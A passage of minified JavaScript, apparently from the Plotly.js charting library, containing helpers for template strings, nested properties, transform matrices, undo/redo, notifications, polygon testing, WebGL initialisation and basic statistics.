we=oe?oe[pe]:pe,xe=ie?ie[we]:we;re(xe)&&(Y[xe].selected=1)}}},r.selIndices2selPoints=function(Y){var Q=Y.selectedpoints,ie=Y._indexToPoints;if(ie){for(var j=m(ie),K=[],oe=0;oe<Q.length;oe++){var re=Q[oe];if(r.isIndex(re)){var le=j[re];r.isIndex(le)&&K.push(le)}}return K}else return Q},r.getTargetArray=function(Y,Q){var ie=Q.target;if(typeof ie=="string"&&ie){var j=r.nestedProperty(Y,ie).get();return Array.isArray(j)?j:!1}else if(Array.isArray(ie))return ie;return!1};function n(Y,Q,ie){var j={};typeof Q!="object"&&(Q={});var K=ie==="pieLike"?-1:3,oe=Object.keys(Y),re,le,pe;for(re=0;re<oe.length;re++)le=oe[re],pe=Y[le],!(le.charAt(0)==="_"||typeof pe=="function")&&(le==="module"?j[le]=pe:Array.isArray(pe)?le==="colorscale"||K===-1?j[le]=pe.slice():j[le]=pe.slice(0,K):r.isTypedArray(pe)?K===-1?j[le]=pe.subarray():j[le]=pe.subarray(0,K):pe&&typeof pe=="object"?j[le]=n(Y[le],Q[le],ie):j[le]=pe);for(oe=Object.keys(Q),re=0;re<oe.length;re++)le=oe[re],pe=Q[le],(typeof pe!="object"||!(le in j)||typeof j[le]!="object")&&(j[le]=pe);return j}r.minExtend=n,r.titleCase=function(Y){return Y.charAt(0).toUpperCase()+Y.substr(1)},r.containsAny=function(Y,Q){for(var ie=0;ie<Q.length;ie++)if(Y.indexOf(Q[ie])!==-1)return!0;return!1},r.isIE=function(){return typeof window.navigator.msSaveBlob<"u"};var C=/Version\/[\d\.]+.*Safari/;r.isSafari=function(){return C.test(window.navigator.userAgent)};var x=/iPad|iPhone|iPod/;r.isIOS=function(){return x.test(window.navigator.userAgent)};var I=/Firefox\/(\d+)\.\d+/;r.getFirefoxVersion=function(){var Y=I.exec(window.navigator.userAgent);if(Y&&Y.length===2){var Q=parseInt(Y[1]);if(!isNaN(Q))return Q}return null},r.isD3Selection=function(Y){return Y instanceof M.selection},r.ensureSingle=function(Y,Q,ie,j){var K=Y.select(Q+(ie?"."+ie:""));if(K.size())return K;var oe=Y.append(Q);return ie&&oe.classed(ie,!0),j&&oe.call(j),oe},r.ensureSingleById=function(Y,Q,ie,j){var K=Y.select(Q+"#"+ie);if(K.size())return K;var oe=Y.append(Q).attr("id",ie);return j&&oe.call(j),oe},r.objectFromPath=function(Y,Q){for(var ie=Y.split("."),j,K=j={},oe=0;oe<ie.length;oe++){var re=ie[oe],le=null,pe=ie[oe].match(/(.*)\[([0-9]+)\]/);pe?(re=pe[1],le=pe[2],j=j[re]=[],oe===ie.length-1?j[le]=Q:j[le]={},j=j[le]):(oe===ie.length-1?j[re]=Q:j[re]={},j=j[re])}return K};var k=/^([^\[\.]+)\.(.+)?/,B=/^([^\.]+)\[([0-9]+)\](\.)?(.+)?/;r.expandObjectPaths=function(Y){var Q,ie,j,K,oe,re,le;if(typeof Y=="object"&&!Array.isArray(Y))for(ie in Y)Y.hasOwnProperty(ie)&&((Q=ie.match(k))?(K=Y[ie],j=Q[1],delete Y[ie],Y[j]=r.extendDeepNoArrays(Y[j]||{},r.objectFromPath(ie,r.expandObjectPaths(K))[j])):(Q=ie.match(B))?(K=Y[ie],j=Q[1],oe=parseInt(Q[2]),delete Y[ie],Y[j]=Y[j]||[],Q[3]==="."?(le=Q[4],re=Y[j][oe]=Y[j][oe]||{},r.extendDeepNoArrays(re,r.objectFromPath(le,r.expandObjectPaths(K)))):Y[j][oe]=r.expandObjectPaths(K)):Y[ie]=r.expandObjectPaths(Y[ie]));return Y},r.numSeparate=function(Y,Q,ie){if(ie||(ie=!1),typeof Q!="string"||Q.length===0)throw new Error("Separator string required for formatting!");typeof Y=="number"&&(Y=String(Y));var j=/(\d+)(\d{3})/,K=Q.charAt(0),oe=Q.charAt(1),re=Y.split("."),le=re[0],pe=re.length>1?K+re[1]:"";if(oe&&(re.length>1||le.length>4||ie))for(;j.test(le);)le=le.replace(j,"$1"+oe+"$2");return le+pe},r.TEMPLATE_STRING_REGEX=/%{([^\s%{}:]*)([:|\|][^}]*)?}/g;var _=/^\w*$/;r.templateString=function(Y,Q){var ie={};return Y.replace(r.TEMPLATE_STRING_REGEX,function(j,K){var oe;return _.test(K)?oe=Q[K]:(ie[K]=ie[K]||r.nestedProperty(Q,K).get,oe=ie[K]()),r.isValidTextValue(oe)?oe:""})};var F={max:10,count:0,name:"hovertemplate"};r.hovertemplateString=function(){return q.apply(F,arguments)};var O={max:10,count:0,name:"texttemplate"};r.texttemplateString=function(){return q.apply(O,arguments)};var z=/^(\S+)([\*\/])(-?\d+(\.\d+)?)$/;function N(Y){var Q=Y.match(z);return Q?{key:Q[1],op:Q[2],number:Number(Q[3])}:{key:Y,op:null,number:null}}var G={max:10,count:0,name:"texttemplate",parseMultDiv:!0};r.texttemplateStringForShapes=function(){return q.apply(G,arguments)};var J=/^[:|\|]/;function q(Y,Q,ie){var j=this,K=arguments;Q||(Q={});var oe={};return Y.replace(r.TEMPLATE_STRING_REGEX,function(re,le,pe){var we=le==="xother"||le==="yother",xe=le==="_xother"||le==="_yother",ke=le==="_xother_"||le==="_yother_",_e=le==="xother_"||le==="yother_",be=we||xe||_e||ke,ge=le;(xe||ke)&&(ge=ge.substring(1)),(_e||ke)&&(ge=ge.substring(0,ge.length-1));var Te=null,Fe=null;if(j.parseMultDiv){var Oe=N(ge);ge=Oe.key,Te=Oe.op,Fe=Oe.number}var Ce;if(be){if(Ce=Q[ge],Ce===void 0)return""}else{var Be,$e;for($e=3;$e<K.length;$e++)if(Be=K[$e],!!Be){if(Be.hasOwnProperty(ge)){Ce=Be[ge];break}if(_.test(ge)||(Ce=r.nestedProperty(Be,ge).get(),Ce=oe[ge]||r.nestedProperty(Be,ge).get(),Ce&&(oe[ge]=Ce)),Ce!==void 0)break}}if(Ce!==void 0&&(Te==="*"&&(Ce*=Fe),Te==="/"&&(Ce/=Fe)),Ce===void 0&&j)return j.count<j.max&&(r.warn("Variable '"+ge+"' in "+j.name+" could not be found!"),Ce=re),j.count===j.max&&r.warn("Too many "+j.name+" warnings - additional warnings will be suppressed"),j.count++,re;if(pe){var Xe;if(pe[0]===":"&&(Xe=ie?ie.numberFormat:r.numberFormat,Ce=Xe(pe.replace(J,""))(Ce)),pe[0]==="|"){Xe=ie?ie.timeFormat:P;var Ze=r.dateTime2ms(Ce);Ce=r.formatDate(Ze,pe.replace(J,""),!1,Xe)}}else{var Ke=ge+"Label";Q.hasOwnProperty(Ke)&&(Ce=Q[Ke])}return be&&(Ce="("+Ce+")",(xe||ke)&&(Ce=" "+Ce),(_e||ke)&&(Ce=Ce+" ")),Ce})}var ne=48,fe=57;r.subplotSort=function(Y,Q){for(var ie=Math.min(Y.length,Q.length)+1,j=0,K=0,oe=0;oe<ie;oe++){var re=Y.charCodeAt(oe)||0,le=Q.charCodeAt(oe)||0,pe=re>=ne&&re<=fe,we=le>=ne&&le<=fe;if(pe&&(j=10*j+re-ne),we&&(K=10*K+le-ne),!pe||!we){if(j!==K)return j-K;if(re!==le)return re-le}}return K-j};var X=2e9;r.seedPseudoRandom=function(){X=2e9},r.pseudoRandom=function(){var Y=X;return X=(69069*X+1)%4294967296,Math.abs(X-Y)<429496729?r.pseudoRandom():X/4294967296},r.fillText=function(Y,Q,ie){var j=Array.isArray(ie)?function(re){ie.push(re)}:function(re){ie.text=re},K=r.extractOption(Y,Q,"htx","hovertext");if(r.isValidTextValue(K))return j(K);var oe=r.extractOption(Y,Q,"tx","text");if(r.isValidTextValue(oe))return j(oe)},r.isValidTextValue=function(Y){return Y||Y===0},r.formatPercent=function(Y,Q){Q=Q||0;for(var ie=(Math.round(100*Y*Math.pow(10,Q))*Math.pow(.1,Q)).toFixed(Q)+"%",j=0;j<Q;j++)ie.indexOf(".")!==-1&&(ie=ie.replace("0%","%"),ie=ie.replace(".%","%"));return ie},r.isHidden=function(Y){var Q=window.getComputedStyle(Y).display;return!Q||Q==="none"},r.strTranslate=function(Y,Q){return Y||Q?"translate("+Y+","+Q+")":""},r.strRotate=function(Y){return Y?"rotate("+Y+")":""},r.strScale=function(Y){return Y!==1?"scale("+Y+")":""},r.getTextTransform=function(Y){var Q=Y.noCenter,ie=Y.textX,j=Y.textY,K=Y.targetX,oe=Y.targetY,re=Y.anchorX||0,le=Y.anchorY||0,pe=Y.rotate,we=Y.scale;return we?we>1&&(we=1):we=0,r.strTranslate(K-we*(ie+re),oe-we*(j+le))+r.strScale(we)+(pe?"rotate("+pe+(Q?"":" "+ie+" "+j)+")":"")},r.setTransormAndDisplay=function(Y,Q){Y.attr("transform",r.getTextTransform(Q)),Y.style("display",Q.scale?null:"none")},r.ensureUniformFontSize=function(Y,Q){var ie=r.extendFlat({},Q);return ie.size=Math.max(Q.size,Y._fullLayout.uniformtext.minsize||0),ie},r.join2=function(Y,Q,ie){var j=Y.length;return j>1?Y.slice(0,-1).join(Q)+ie+Y[j-1]:Y.join(Q)},r.bigFont=function(Y){return Math.round(1.2*Y)};var W=r.getFirefoxVersion(),V=W!==null&&W<86;r.getPositionFromD3Event=function(){return V?[M.event.layerX,M.event.layerY]:[M.event.offsetX,M.event.offsetY]}},41965:function(te){te.exports=function(e){return window&&window.process&&window.process.versions?Object.prototype.toString.call(e)==="[object Object]":Object.prototype.toString.call(e)==="[object Object]"&&Object.getPrototypeOf(e).hasOwnProperty("hasOwnProperty")}},66636:function(te,Z,e){var M=e(65487),P=/^\w*$/,o=0,L=1,S=2,d=3,g=4;te.exports=function(r,f,a,l){a=a||"name",l=l||"value";var u,s,y,c={};f&&f.length?(y=M(r,f),s=y.get()):s=r,f=f||"";var b={};if(s)for(u=0;u<s.length;u++)b[s[u][a]]=u;var h=P.test(l),i={set:function(v,T){var w=T===null?g:o;if(!s){if(!y||w===g)return;s=[],y.set(s)}var E=b[v];if(E===void 0){if(w===g)return;w=w|d,E=s.length,b[v]=E}else T!==(h?s[E][l]:M(s[E],l).get())&&(w=w|S);var p=s[E]=s[E]||{};return p[a]=v,h?p[l]=T:M(p,l).set(T),T!==null&&(w=w&~g),c[E]=c[E]|w,i},get:function(v){if(s){var T=b[v];if(T!==void 0)return h?s[T][l]:M(s[T],l).get()}},rename:function(v,T){var w=b[v];return w===void 0||(c[w]=c[w]|L,b[T]=w,delete b[v],s[w][a]=T),i},remove:function(v){var T=b[v];if(T===void 0)return i;var w=s[T];if(Object.keys(w).length>2)return c[T]=c[T]|S,i.set(v,null);if(h){for(u=T;u<s.length;u++)c[u]=c[u]|d;for(u=T;u<s.length;u++)b[s[u][a]]--;s.splice(T,1),delete b[v]}else M(w,l).set(null),c[T]=c[T]|S|g;return i},constructUpdate:function(){for(var v,T,w={},E=Object.keys(c),p=0;p<E.length;p++)T=E[p],v=f+"["+T+"]",s[T]?(c[T]&L&&(w[v+"."+a]=s[T][a]),c[T]&S&&(h?w[v+"."+l]=c[T]&g?null:s[T][l]:w[v+"."+l]=c[T]&g?null:M(s[T],l).get())):w[v]=null;return w}};return i}},15867:function(te,Z,e){var M=e(73972);te.exports=function(o,L){for(var S=o._context.locale,d=0;d<2;d++){for(var g=o._context.locales,t=0;t<2;t++){var r=(g[S]||{}).dictionary;if(r){var f=r[L];if(f)return f}g=M.localeRegistry}var a=S.split("-")[0];if(a===S)break;S=a}return L}},47769:function(te,Z,e){var M=e(72075).dfltConfig,P=e(75046),o=te.exports={};o.log=function(){var L;if(M.logging>1){var S=["LOG:"];for(L=0;L<arguments.length;L++)S.push(arguments[L]);console.trace.apply(console,S)}if(M.notifyOnLogging>1){var d=[];for(L=0;L<arguments.length;L++)d.push(arguments[L]);P(d.join("<br>"),"long")}},o.warn=function(){var L;if(M.logging>0){var S=["WARN:"];for(L=0;L<arguments.length;L++)S.push(arguments[L]);console.trace.apply(console,S)}if(M.notifyOnLogging>0){var d=[];for(L=0;L<arguments.length;L++)d.push(arguments[L]);P(d.join("<br>"),"stick")}},o.error=function(){var L;if(M.logging>0){var S=["ERROR:"];for(L=0;L<arguments.length;L++)S.push(arguments[L]);console.error.apply(console,S)}if(M.notifyOnLogging>0){var d=[];for(L=0;L<arguments.length;L++)d.push(arguments[L]);P(d.join("<br>"),"stick")}}},77310:function(te,Z,e){var M=e(39898);te.exports=function(o,L,S){var d=o.selectAll("g."+S.replace(/\s/g,".")).data(L,function(t){return t[0].trace.uid});d.exit().remove(),d.enter().append("g").attr("class",S),d.order();var g=o.classed("rangeplot")?"nodeRangePlot3":"node3";return d.each(function(t){t[0][g]=M.select(this)}),d}},35657:function(te,Z,e){var M=e(79576);Z.init2dArray=function(P,o){for(var L=new Array(P),S=0;S<P;S++)L[S]=new Array(o);return L},Z.transposeRagged=function(P){var o=0,L=P.length,S,d;for(S=0;S<L;S++)o=Math.max(o,P[S].length);var g=new Array(o);for(S=0;S<o;S++)for(g[S]=new Array(L),d=0;d<L;d++)g[S][d]=P[d][S];return g},Z.dot=function(P,o){if(!(P.length&&o.length)||P.length!==o.length)return null;var L=P.length,S,d;if(P[0].length)for(S=new Array(L),d=0;d<L;d++)S[d]=Z.dot(P[d],o);else if(o[0].length){var g=Z.transposeRagged(o);for(S=new Array(g.length),d=0;d<g.length;d++)S[d]=Z.dot(P,g[d])}else for(S=0,d=0;d<L;d++)S+=P[d]*o[d];return S},Z.translationMatrix=function(P,o){return[[1,0,P],[0,1,o],[0,0,1]]},Z.rotationMatrix=function(P){var o=P*Math.PI/180;return[[Math.cos(o),-Math.sin(o),0],[Math.sin(o),Math.cos(o),0],[0,0,1]]},Z.rotationXYMatrix=function(P,o,L){return Z.dot(Z.dot(Z.translationMatrix(o,L),Z.rotationMatrix(P)),Z.translationMatrix(-o,-L))},Z.apply3DTransform=function(P){return function(){var o=arguments,L=arguments.length===1?o[0]:[o[0],o[1],o[2]||0];return Z.dot(P,[L[0],L[1],L[2],1]).slice(0,3)}},Z.apply2DTransform=function(P){return function(){var o=arguments;o.length===3&&(o=o[0]);var L=arguments.length===1?o[0]:[o[0],o[1]];return Z.dot(P,[L[0],L[1],1]).slice(0,2)}},Z.apply2DTransform2=function(P){var o=Z.apply2DTransform(P);return function(L){return o(L.slice(0,2)).concat(o(L.slice(2,4)))}},Z.convertCssMatrix=function(P){if(P){var o=P.length;if(o===16)return P;if(o===6)return[P[0],P[1],0,0,P[2],P[3],0,0,0,0,1,0,P[4],P[5],0,1]}return[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]},Z.inverseTransformMatrix=function(P){var o=[];return M.invert(o,P),[[o[0],o[1],o[2],o[3]],[o[4],o[5],o[6],o[7]],[o[8],o[9],o[10],o[11]],[o[12],o[13],o[14],o[15]]]}},64872:function(te){function Z(M,P){var o=M%P;return o<0?o+P:o}function e(M,P){return Math.abs(M)>P/2?M-Math.round(M/P)*P:M}te.exports={mod:Z,modHalf:e}},65487:function(te,Z,e){var M=e(92770),P=e(73627).isArrayOrTypedArray;te.exports=function(l,u){if(M(u))u=String(u);else if(typeof u!="string"||u.substr(u.length-4)==="[-1]")throw"bad property string";for(var s=0,y=u.split("."),c,b,h;s<y.length;){if(c=String(y[s]).match(/^([^\[\]]*)((\[\-?[0-9]*\])+)$/),c){if(c[1])y[s]=c[1];else if(s===0)y.splice(0,1);else throw"bad property string";for(b=c[2].substr(1,c[2].length-2).split("]["),h=0;h<b.length;h++)s++,y.splice(s,0,Number(b[h]))}s++}return typeof l!="object"?f(l,u,y):{set:d(l,y,u),get:o(l,y),astr:u,parts:y,obj:l}};function o(a,l){return function(){var u=a,s,y,c,b,h;for(b=0;b<l.length-1;b++){if(s=l[b],s===-1){for(y=!0,c=[],h=0;h<u.length;h++)c[h]=o(u[h],l.slice(b+1))(),c[h]!==c[0]&&(y=!1);return y?c[0]:c}if(typeof s=="number"&&!P(u)||(u=u[s],typeof u!="object"||u===null))return}if(!(typeof u!="object"||u===null)&&(c=u[l[b]],c!==null))return c}}var L=/(^|\.)args\[/;function S(a,l){return a===void 0||a===null&&!l.match(L)}function d(a,l,u){return function(s){var y=a,c="",b=S(s,u),h,i;for(i=0;i<l.length-1;i++){if(h=l[i],typeof h=="number"&&!P(y))throw"array index but container is not an array";if(h===-1){if(b=!t(y,l.slice(i+1),s,u),b)break;return}if(!r(y,h,l[i+1],b))break;if(y=y[h],typeof y!="object"||y===null)throw"container is not an object";c=g(c,h)}if(b){if(i===l.length-1&&(delete y[l[i]],Array.isArray(y)&&+l[i]===y.length-1))for(;y.length&&y[y.length-1]===void 0;)y.pop()}else y[l[i]]=s}}function g(a,l){var u=l;return M(l)?u="["+l+"]":a&&(u="."+l),a+u}function t(a,l,u,s){var y=P(u),c=!0,b=u,h=s.replace("-1",0),i=y?!1:S(u,h),v=l[0],T;for(T=0;T<a.length;T++)h=s.replace("-1",T),y&&(b=u[T%u.length],i=S(b,h)),i&&(c=!1),r(a,T,v,i)&&d(a[T],l,s.replace("-1",T))(b);return c}function r(a,l,u,s){if(a[l]===void 0){if(s)return!1;typeof u=="number"?a[l]=[]:a[l]={}}return!0}function f(a,l,u){return{set:function(){throw"bad container"},get:function(){},astr:l,parts:u,obj:a}}},64213:function(te){te.exports=function(){}},75046:function(te,Z,e){var M=e(39898),P=e(92770),o=[];te.exports=function(L,S){if(o.indexOf(L)!==-1)return;o.push(L);var d=1e3;P(S)?d=S:S==="long"&&(d=3e3);var g=M.select("body").selectAll(".plotly-notifier").data([0]);g.enter().append("div").classed("plotly-notifier",!0);var t=g.selectAll(".notifier-note").data(o);function r(f){f.duration(700).style("opacity",0).each("end",function(a){var l=o.indexOf(a);l!==-1&&o.splice(l,1),M.select(this).remove()})}t.enter().append("div").classed("notifier-note",!0).style("opacity",0).each(function(f){var a=M.select(this);a.append("button").classed("notifier-close",!0).html("&times;").on("click",function(){a.transition().call(r)});for(var l=a.append("p"),u=f.split(/<br\s*\/?>/g),s=0;s<u.length;s++)s&&l.append("br"),l.append("span").text(u[s]);S==="stick"?a.transition().duration(350).style("opacity",1):a.transition().duration(700).style("opacity",1).transition().delay(d).call(r)})}},39918:function(te,Z,e){var M=e(6964),P="data-savedcursor",o="!!";te.exports=function(S,d){var g=S.attr(P);if(d){if(!g){for(var t=(S.attr("class")||"").split(" "),r=0;r<t.length;r++){var f=t[r];f.indexOf("cursor-")===0&&S.attr(P,f.substr(7)).classed(f,!1)}S.attr(P)||S.attr(P,o)}M(S,d)}else g&&(S.attr(P,null),g===o?M(S):M(S,g))}},61082:function(te,Z,e){var M=e(35657).dot,P=e(50606).BADNUM,o=te.exports={};o.tester=function(S){var d=S.slice(),g=d[0][0],t=g,r=d[0][1],f=r,a;for((d[d.length-1][0]!==d[0][0]||d[d.length-1][1]!==d[0][1])&&d.push(d[0]),a=1;a<d.length;a++)g=Math.min(g,d[a][0]),t=Math.max(t,d[a][0]),r=Math.min(r,d[a][1]),f=Math.max(f,d[a][1]);var l=!1,u;d.length===5&&(d[0][0]===d[1][0]?d[2][0]===d[3][0]&&d[0][1]===d[3][1]&&d[1][1]===d[2][1]&&(l=!0,u=function(h){return h[0]===d[0][0]}):d[0][1]===d[1][1]&&d[2][1]===d[3][1]&&d[0][0]===d[3][0]&&d[1][0]===d[2][0]&&(l=!0,u=function(h){return h[1]===d[0][1]}));function s(h,i){var v=h[0],T=h[1];return!(v===P||v<g||v>t||T===P||T<r||T>f||i&&u(h))}function y(h,i){var v=h[0],T=h[1];if(v===P||v<g||v>t||T===P||T<r||T>f)return!1;var w=d.length,E=d[0][0],p=d[0][1],A=0,m,n,C,x,I;for(m=1;m<w;m++)if(n=E,C=p,E=d[m][0],p=d[m][1],x=Math.min(n,E),!(v<x||v>Math.max(n,E)||T>Math.max(C,p)))if(T<Math.min(C,p))v!==x&&A++;else{if(E===n?I=T:I=C+(v-n)*(p-C)/(E-n),T===I)return!(m===1&&i);T<=I&&v!==x&&A++}return A%2===1}var c=!0,b=d[0];for(a=1;a<d.length;a++)if(b[0]!==d[a][0]||b[1]!==d[a][1]){c=!1;break}return{xmin:g,xmax:t,ymin:r,ymax:f,pts:d,contains:l?s:y,isRect:l,degenerate:c}},o.isSegmentBent=function(S,d,g,t){var r=S[d],f=[S[g][0]-r[0],S[g][1]-r[1]],a=M(f,f),l=Math.sqrt(a),u=[-f[1]/l,f[0]/l],s,y,c;for(s=d+1;s<g;s++)if(y=[S[s][0]-r[0],S[s][1]-r[1]],c=M(y,f),c<0||c>a||Math.abs(M(y,u))>t)return!0;return!1},o.filter=function(S,d){var g=[S[0]],t=0,r=0;function f(l){S.push(l);var u=g.length,s=t;g.splice(r+1);for(var y=s+1;y<S.length;y++)(y===S.length-1||o.isSegmentBent(S,s,y+1,d))&&(g.push(S[y]),g.length<u-2&&(t=y,r=g.length-1),s=y)}if(S.length>1){var a=S.pop();f(a)}return{addPt:f,raw:S,filtered:g}}},79749:function(te,Z,e){var M=e(58617),P=e(98580);te.exports=function(L,S,d){var g=L._fullLayout,t=!0;return g._glcanvas.each(function(r){if(r.regl){r.regl.preloadCachedCode(d);return}if(!(r.pick&&!g._has("parcoords"))){try{r.regl=P({canvas:this,attributes:{antialias:!r.pick,preserveDrawingBuffer:!0},pixelRatio:L._context.plotGlPixelRatio||e.g.devicePixelRatio,extensions:S||[],cachedCode:d||{}})}catch{t=!1}r.regl||(t=!1),t&&this.addEventListener("webglcontextlost",function(f){L&&L.emit&&L.emit("plotly_webglcontextlost",{event:f,layer:r.key})},!1)}}),t||M({container:g._glcontainer.node()}),t}},45142:function(te,Z,e){var M=e(92770),P=e(35791);te.exports=function(S){var d;if(S&&S.hasOwnProperty("userAgent")?d=S.userAgent:d=o(),typeof d!="string")return!0;var g=P({ua:{headers:{"user-agent":d}},tablet:!0,featureDetect:!1});if(!g)for(var t=d.split(" "),r=1;r<t.length;r++){var f=t[r];if(f.indexOf("Safari")!==-1)for(var a=r-1;a>-1;a--){var l=t[a];if(l.substr(0,8)==="Version/"){var u=l.substr(8).split(".")[0];if(M(u)&&(u=+u),u>=13)return!0}}}return g};function o(){var L;return typeof navigator<"u"&&(L=navigator.userAgent),L&&L.headers&&typeof L.headers["user-agent"]=="string"&&(L=L.headers["user-agent"]),L}},75138:function(te){te.exports=function(e,M){if(M instanceof RegExp){for(var P=M.toString(),o=0;o<e.length;o++)if(e[o]instanceof RegExp&&e[o].toString()===P)return e;e.push(M)}else(M||M===0)&&e.indexOf(M)===-1&&e.push(M);return e}},10847:function(te,Z,e){var M=e(71828),P=e(72075).dfltConfig;function o(S,d){for(var g=[],t,r=0;r<d.length;r++)t=d[r],t===S?g[r]=t:typeof t=="object"?g[r]=Array.isArray(t)?M.extendDeep([],t):M.extendDeepAll({},t):g[r]=t;return g}var L={};L.add=function(S,d,g,t,r){var f,a;if(S.undoQueue=S.undoQueue||{index:0,queue:[],sequence:!1},a=S.undoQueue.index,S.autoplay){S.undoQueue.inSequence||(S.autoplay=!1);return}!S.undoQueue.sequence||S.undoQueue.beginSequence?(f={undo:{calls:[],args:[]},redo:{calls:[],args:[]}},S.undoQueue.queue.splice(a,S.undoQueue.queue.length-a,f),S.undoQueue.index+=1):f=S.undoQueue.queue[a-1],S.undoQueue.beginSequence=!1,f&&(f.undo.calls.unshift(d),f.undo.args.unshift(g),f.redo.calls.push(t),f.redo.args.push(r)),S.undoQueue.queue.length>P.queueLength&&(S.undoQueue.queue.shift(),S.undoQueue.index--)},L.startSequence=function(S){S.undoQueue=S.undoQueue||{index:0,queue:[],sequence:!1},S.undoQueue.sequence=!0,S.undoQueue.beginSequence=!0},L.stopSequence=function(S){S.undoQueue=S.undoQueue||{index:0,queue:[],sequence:!1},S.undoQueue.sequence=!1,S.undoQueue.beginSequence=!1},L.undo=function(d){var g,t;if(!(d.undoQueue===void 0||isNaN(d.undoQueue.index)||d.undoQueue.index<=0)){for(d.undoQueue.index--,g=d.undoQueue.queue[d.undoQueue.index],d.undoQueue.inSequence=!0,t=0;t<g.undo.calls.length;t++)L.plotDo(d,g.undo.calls[t],g.undo.args[t]);d.undoQueue.inSequence=!1,d.autoplay=!1}},L.redo=function(d){var g,t;if(!(d.undoQueue===void 0||isNaN(d.undoQueue.index)||d.undoQueue.index>=d.undoQueue.queue.length)){for(g=d.undoQueue.queue[d.undoQueue.index],d.undoQueue.inSequence=!0,t=0;t<g.redo.calls.length;t++)L.plotDo(d,g.redo.calls[t],g.redo.args[t]);d.undoQueue.inSequence=!1,d.autoplay=!1,d.undoQueue.index++}},L.plotDo=function(S,d,g){S.autoplay=!0,g=o(S,g),d.apply(null,g)},te.exports=L},30587:function(te,Z){Z.counter=function(e,M,P,o){var L=(M||"")+(P?"":"$"),S=o===!1?"":"^";return e==="xy"?new RegExp(S+"x([2-9]|[1-9][0-9]+)?y([2-9]|[1-9][0-9]+)?"+L):new RegExp(S+e+"([2-9]|[1-9][0-9]+)?"+L)}},6962:function(te){var Z=/^(.*)(\.[^\.\[\]]+|\[\d\])$/,e=/^[^\.\[\]]+$/;te.exports=function(M,P){for(;P;){var o=M.match(Z);if(o)M=o[1];else if(M.match(e))M="";else throw new Error("bad relativeAttr call:"+[M,P]);if(P.charAt(0)==="^")P=P.slice(1);else break}return M&&P.charAt(0)!=="["?M+"."+P:M+P}},51332:function(te,Z,e){var M=e(73627).isArrayOrTypedArray,P=e(41965);te.exports=function o(L,S){for(var d in S){var g=S[d],t=L[d];if(t!==g)if(d.charAt(0)==="_"||typeof g=="function"){if(d in L)continue;L[d]=g}else if(M(g)&&M(t)&&P(g[0])){if(d==="customdata"||d==="ids")continue;for(var r=Math.min(g.length,t.length),f=0;f<r;f++)t[f]!==g[f]&&P(g[f])&&P(t[f])&&o(t[f],g[f])}else P(g)&&P(t)&&(o(t,g),Object.keys(t).length||delete L[d])}}},65888:function(te,Z,e){var M=e(92770),P=e(47769),o=e(23389),L=e(50606).BADNUM,S=1e-9;Z.findBin=function(f,a,l){if(M(a.start))return l?Math.ceil((f-a.start)/a.size-S)-1:Math.floor((f-a.start)/a.size+S);var u=0,s=a.length,y=0,c=s>1?(a[s-1]-a[0])/(s-1):1,b,h;for(c>=0?h=l?d:g:h=l?r:t,f+=c*S*(l?-1:1)*(c>=0?1:-1);u<s&&y++<100;)b=Math.floor((u+s)/2),h(a[b],f)?u=b+1:s=b;return y>90&&P.log("Long binary search..."),u-1};function d(f,a){return f<a}function g(f,a){return f<=a}function t(f,a){return f>a}function r(f,a){return f>=a}Z.sorterAsc=function(f,a){return f-a},Z.sorterDes=function(f,a){return a-f},Z.distinctVals=function(f){var a=f.slice();a.sort(Z.sorterAsc);var l;for(l=a.length-1;l>-1&&a[l]===L;l--);for(var u=a[l]-a[0]||1,s=u/(l||1)/1e4,y=[],c,b=0;b<=l;b++){var h=a[b],i=h-c;c===void 0?(y.push(h),c=h):i>s&&(u=Math.min(u,i),y.push(h),c=h)}return{vals:y,minDiff:u}},Z.roundUp=function(f,a,l){for(var u=0,s=a.length-1,y,c=0,b=l?0:1,h=l?1:0,i=l?Math.ceil:Math.floor;u<s&&c++<100;)y=i((u+s)/2),a[y]<=f?u=y+b:s=y-h;return a[u]},Z.sort=function(f,a){for(var l=0,u=0,s=1;s<f.length;s++){var y=a(f[s],f[s-1]);if(y<0?l=1:y>0&&(u=1),l&&u)return f.sort(a)}return u?f:f.reverse()},Z.findIndexOfMin=function(f,a){a=a||o;for(var l=1/0,u,s=0;s<f.length;s++){var y=a(f[s]);y<l&&(l=y,u=s)}return u}},6964:function(te){te.exports=function(e,M){(e.attr("class")||"").split(" ").forEach(function(P){P.indexOf("cursor-")===0&&e.classed(P,!1)}),M&&e.classed("cursor-"+M,!0)}},58617:function(te,Z,e){var M=e(7901),P=function(){};te.exports=function(L){for(var S in L)typeof L[S]=="function"&&(L[S]=P);L.destroy=function(){L.container.parentNode.removeChild(L.container)};var d=document.createElement("div");d.className="no-webgl",d.style.cursor="pointer",d.style.fontSize="24px",d.style.color=M.defaults[0],d.style.position="absolute",d.style.left=d.style.top="0px",d.style.width=d.style.height="100%",d.style["background-color"]=M.lightLine,d.style["z-index"]=30;var g=document.createElement("p");return g.textContent="WebGL is not supported by your browser - visit https://get.webgl.org for more info",g.style.position="relative",g.style.top="50%",g.style.left="50%",g.style.height="30%",g.style.width="50%",g.style.margin="-15% 0 0 -25%",d.appendChild(g),L.container.appendChild(d),L.container.style.background="#FFFFFF",L.container.onclick=function(){window.open("https://get.webgl.org")},!1}},78607:function(te){te.exports=function(e){return Object.keys(e).sort()}},80038:function(te,Z,e){var M=e(92770),P=e(73627).isArrayOrTypedArray;Z.aggNums=function(o,L,S,d){var g,t;if((!d||d>S.length)&&(d=S.length),M(L)||(L=!1),P(S[0])){for(t=new Array(d),g=0;g<d;g++)t[g]=Z.aggNums(o,L,S[g]);S=t}for(g=0;g<d;g++)M(L)?M(S[g])&&(L=o(+L,+S[g])):L=S[g];return L},Z.len=function(o){return Z.aggNums(function(L){return L+1},0,o)},Z.mean=function(o,L){return L||(L=Z.len(o)),Z.aggNums(function(S,d){return S+d},0,o)/L},Z.midRange=function(o){if(!(o===void 0||o.length===0))return(Z.aggNums(Math.max,null,o)+Z.aggNums(Math.min,null,o))/2},Z.variance=function(o,L,S){return L||(L=Z.len(o)),M(S)||(S=Z.mean(o,L)),Z.aggNums(function(d,g){return d+Math.pow(g-S,2)},0,o)/L},Z.stdev=function(o,L,S){return Math.sqrt(Z.variance(o,L,S))},Z.median=function(o){var L=o.slice().sort();return Z.interp(L,.5)},Z.interp=function(o,L){if(!M(L))throw"n should be a finite number";if(L=L*o.length-.5,L<0)return o[0];if(L>o.length-1)return o[o.length-1];var S=L%1;return S*o[Math.ceil(L)]+(1-S)*o[Math.floor(L)]}},78614:function(te,Z,e){var M=e(25075);function P(o){return 